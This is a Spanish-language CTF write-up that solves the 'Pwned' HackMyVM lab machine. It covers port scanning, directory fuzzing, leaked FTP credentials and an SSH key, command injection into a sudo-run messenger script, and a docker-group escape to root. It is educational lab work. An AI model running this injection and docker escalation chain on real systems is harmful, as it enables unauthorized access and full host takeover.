Pwned
Hoy vamos a realizar una máquina “easy” de HackMyVM con temática hacker.
Reconocimiento de Puertos
En primer lugar averiguamos la IP de la máquina víctima:
❯ sudo arp-scan -l | grep "PCS"
192.168.0.16 08:00:27:32:f2:f4 PCS Systemtechnik GmbH
Ahora realizamos el reconocimiento de puertos abiertos:
❯ sudo nmap -p- -sS --min-rate 5000 --open -Pn -vvv -n 192.168.0.16
PORT STATE SERVICE REASON
21/tcp open ftp syn-ack ttl 64
22/tcp open ssh syn-ack ttl 64
80/tcp open http syn-ack ttl 64
Realizamos un escaneo más avanzado para obtener más información sobre estos puertos.
❯ nmap -sCV -p21,22,80 192.168.0.16
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 fe:cd:90:19:74:91:ae:f5:64:a8:a5:e8:6f:6e:ef:7e (RSA)
| 256 81:32:93:bd:ed:9b:e7:98:af:25:06:79:5f:de:91:5d (ECDSA)
|_ 256 dd:72:74:5d:4d:2d:a3:62:3e:81:af:09:51:e0:14:4a (ED25519)
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-title: Pwned....!!
|_http-server-header: Apache/2.4.38 (Debian)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
No sacamos nada relevante…
Analizando vectores de ataque
Como no tenemos ningún tipo de información acerca de user/pass de SSH (puerto 22), vamos a empezar por el puerto 80.
Puerto 80
Comprobamos qué contenido muestra el HTTP:
Y si hacemos ctrl+u para ver el código, nos deja este mensaje:
Y si miramos el código de la página con ctrl+u tampoco vemos nada, parece una web por defecto.
Vamos a realizar fuzzing para ver si encontramos algo:
❯ wfuzz -c -L -t 200 --hc=404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://192.168.0.16/FUZZ
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000010575: 200 16 L 59 W 945 Ch "nothing"
000095524: 403 9 L 28 W 277 Ch "server-status"
000206056: 200 16 L 60 W 952 Ch "hidden_text"
Encontramos 2 recursos con contenido (dan código 200), vamos a examinarlos:
-
En “nothing” vemos un directory listing con el fichero nothing.html. Si lo abrimos, solamente muestra “i said nothing bro “ y si miramos el código “<!–I said nothing here. you are wasting your time i don’t lie–>”
-
En “hidden_text” tenemos otro directory listing con un fichero llamado secret.dic
Y si lo abrimos:
La cosa se pone interesante, parece un diccionario, así que me lo guardo:
wget http://192.168.0.16/hidden_text/secret.dic
Realizamos nuevamente fuzzing con ese diccionario:
❯ gobuster dir -w secret.dic -t 200 -u http://192.168.0.16
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.0.16
[+] Method: GET
[+] Threads: 200
[+] Wordlist: secret.dic
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2022/11/20 02:09:32 Starting gobuster in directory enumeration mode
===============================================================
//pwned.vuln (Status: 301) [Size: 317] [--> http://192.168.0.16/pwned.vuln/]
Abrimos ese nuevo recurso:
Y si hacemos ctrl+u:
<?php
// if (isset($_POST['submit'])) {
// $un=$_POST['username'];
// $pw=$_POST['password'];
//
// if ($un=='ftpuser' && $pw=='B0ss_B!TcH') {
// echo "welcome"
// exit();
// }
// else
// echo "Invalid creds"
// }
?>
¡BINGO! parece que hemos obtenido datos de acceso FTP
Puerto 21
Accedemos con los datos obtenidos:
❯ ftp -p 192.168.0.16
Connected to 192.168.0.16.
220 (vsFTPd 3.0.3)
Name (192.168.0.16:kaian): ftpuser
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> pwd
257 "/home/ftpuser" is the current directory
ftp> ls -la
227 Entering Passive Mode (192,168,0,16,92,74).
150 Here comes the directory listing.
drwxrwxrwx 3 0 0 4096 Jul 09 2020 .
drwxr-xr-x 5 0 0 4096 Jul 10 2020 ..
drwxr-xr-x 2 0 0 4096 Jul 10 2020 share
226 Directory send OK.
ftp> cd share
250 Directory successfully changed.
ftp> ls -la
227 Entering Passive Mode (192,168,0,16,246,160).
150 Here comes the directory listing.
drwxr-xr-x 2 0 0 4096 Jul 10 2020 .
drwxrwxrwx 3 0 0 4096 Jul 09 2020 ..
-rw-r--r-- 1 0 0 2602 Jul 09 2020 id_rsa
-rw-r--r-- 1 0 0 75 Jul 09 2020 note.txt
226 Directory send OK.
ftp> mget *
mget id_rsa? yes
227 Entering Passive Mode (192,168,0,16,169,59).
150 Opening BINARY mode data connection for id_rsa (2602 bytes).
226 Transfer complete.
2602 bytes received in 0.00 secs (26.3985 MB/s)
mget note.txt? yes
227 Entering Passive Mode (192,168,0,16,246,222).
150 Opening BINARY mode data connection for note.txt (75 bytes).
226 Transfer complete.
75 bytes received in 0.00 secs (1.6256 MB/s)
Aquí tras un breve reconocimiento descargamos lo que parece ser una nota y una clave privada de SSH.
❯ cat note.txt
Wow you are here
ariana won't happy about this note
sorry ariana :(
Puerto 22
Parece que es una pista de que el usuario es “ariana”, así que vamos a tratar de conectarnos vía SSH con la clave privada. Pero antes de eso, hay que acordarse de poner los permisos adecuados a la clave:
❯ chmod 600 id_rsa
Ahora sí nos conectamos y realizamos pequeño tratamiento:
❯ ssh -i id_rsa ariana@192.168.0.16
Linux pwned 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2+deb10u1 (2020-06-07) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Jul 10 13:03:23 2020 from 192.168.18.70
ariana@pwned:~$ export TERM=xterm
ariana@pwned:~$ export SHELL=bash
ariana@pwned:~$ ls
ariana-personal.diary user1.txt
ariana@pwned:~$ cat user1.txt
congratulations you Pwned ariana
Here is your user flag ↓↓↓↓↓↓↓
(FLAG)
Try harder.need become root
Pues ya tenemos la flag de user (he omitido la flag para que no se vea 😉). El creador nos invita a que vayamos a por la de root, así que vamos a por él.
Escalada de privilegios
Vamos a ver por dónde puede ir la cosa:
ariana@pwned:~$ sudo -l
Matching Defaults entries for ariana on pwned:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User ariana may run the following commands on pwned:
(selena) NOPASSWD: /home/messenger.sh
Esto nos indica que podemos ejecutar ese script como Selena sin necesidad de contraseña.
Bien, como visteis antes, había un fichero llamado “ariana-personal.diary” el cual nos insinua una pista:
ariana@pwned:~$ cat ariana-personal.diary
Its Ariana personal Diary :::
Today Selena fight with me for Ajay. so i opened her hidden_text on server. now she resposible for the issue.
Pero si tratamos de ver lo que tiene en su carpeta personal no tenemos permisos:
ariana@pwned:~$ ls -l /home/selena
ls: cannot open directory '/home/selena': Permission denied
La idea sería aprovecharnos del script “messenger.sh”, el cual podemos ejecutar como Selena, para tratar de introducir comandos y leer su directorio.
ariana@pwned:~$ sudo -u selena /home/messenger.sh
Welcome to linux.messenger
ariana:
selena:
ftpuser:
Enter username to send message : ariana
Enter message for ariana :ls -la /home/selena
Sending message to ariana
total 24
drwxrwx--- 3 selena root 4096 Jul 10 2020 .
drwxr-xr-x 5 root root 4096 Jul 10 2020 ..
-rw------- 1 selena selena 1 Jul 10 2020 .bash_history
drwxr-xr-x 3 selena selena 4096 Jul 9 2020 .local
-rw-r--r-- 1 selena selena 132 Jul 10 2020 selena-personal.diary
-rw-r--r-- 1 selena selena 100 Jul 10 2020 user2.txt
Message sent to ariana :)
Ahora que sabemos que hay ficheros interesantes, repetimos proceso para leerlos pero con el comando cat /home/selena/*
Welcome to linux.messenger
ariana:
selena:
ftpuser:
Enter username to send message : ariana
Enter message for ariana :cat /home/selena/*
Sending message to ariana
Its Selena personal Diary :::
Today Ariana fight with me for Ajay. so i left her ssh key on FTP. now she resposible for the leak.
711fdfc6caad532815a440f7f295c176
You are near to me. you found selena too.
Try harder to catch me
Message sent to ariana :)
La pista que nos da ya la usamos antes para tener acceso SSH, y la flag de Selena no nos sirve de nada y no funciona como contraseña. Así que nos han engañado bien ahí… Además, el problema es que salvo esa instrucción que mandamos, se nos sale de ese contexto. Por tanto, lo mejor en este caso es introducir “bash” para conseguir estar “permante” como Selena para investigar algo más.
Welcome to linux.messenger
ariana:
selena:
ftpuser:
Enter username to send message : ariana
Enter message for ariana :bash
Sending message to ariana
whoami
selena
id
uid=1001(selena) gid=1001(selena) groups=1001(selena),115(docker)
Así que ahora que sabemos que Selena pertenece al grupo “docker”, nos vamos a https://gtfobins.github.io/ y buscamos una shell por “docker”:
Justo donde lo dejamos, añadimos:
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
# cd /root
# ls
root.txt
Y con esto damos por finalizada la máquina, la cual me ha gustado mucho por su temática, incluyendo esas pistas (buenas, y otras no tanto 😂). ¡Nos vemos en la próxima!